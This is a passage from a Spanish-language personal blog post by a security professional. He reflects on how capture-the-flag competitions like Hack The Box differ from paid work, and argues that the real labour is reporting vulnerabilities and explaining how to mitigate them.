<p>Dejando esa pregunta en el aire, continuamos hablando de otras cosas. No supe en ese momento que responder, porque nunca había considerado este tipo de competencias como trabajo. Pero sin embargo, tiene un punto importante ya que lo que uno hace en estas competencias se asemeja parcialmente al día a día en el laburo. <em>O no, porque me divierto, bocha</em>. En mi caso, siento que la diferencia fundamental entre divertirse y trabajar es la ausencia de extensos reportes y recomendaciones para mitigar vulnerabilidades, cosa absolutamente necesaria para hacer que la internet sea un poco más segura en cada intrusión contratada. No contratadas también, <em>pero eso ya es un tema más complejo.</em></p>
<blockquote>
<p>En HTB solamente entrás, rompés y la recompensa es un flag y unos puntos, extirpando de lleno todo el tedio administrativo.</p>
</blockquote>
<p>De pronto, pensando sesudamente sobre esto, doy cuenta que trabajar en mi caso no implica explotar vulnerabilidades -la parte divertida- sino más bien reportarlas, explicarlas, y proponer soluciones para evitar que sigan existiendo y que de alguna manera jocosamente-ultra-simplificada, no nos roben de nuestros dispositivos conversaciones privadas o desnudos, <a href="https://www.wired.com/2015/04/john-oliver-edward-snowden-dick-pics/">como explicó magistralmente Edward Snowden a John Oliver</a> para bajar al usuario medio los verdaderos riesgos de las vulnerabilidades que aun no hemos descubierto y ciertos gobiernos o “grupos de personas” potencialmente si.</p>
<p>Esta pregunta que hizo este amigo, disparó en mi buscar el subjetivo significado del trabajo y la interrelación con la diversión, conceptos fácilmente antagonizables cuando el tedio se apropia de la actividad. Por ahora, a falta de una mejor descripción, siento que trabajar en definitiva no es usar los conocimientos para penetrar sistemas, si no más bien explicar de manera <em>sencilla</em> el porqué es importante alertar sobre estas cosas y como mitigarlas.
Y explicar tareas tan complejas y su impacto <em>sencillamente</em> es sorprendentemente trabajoso.</p>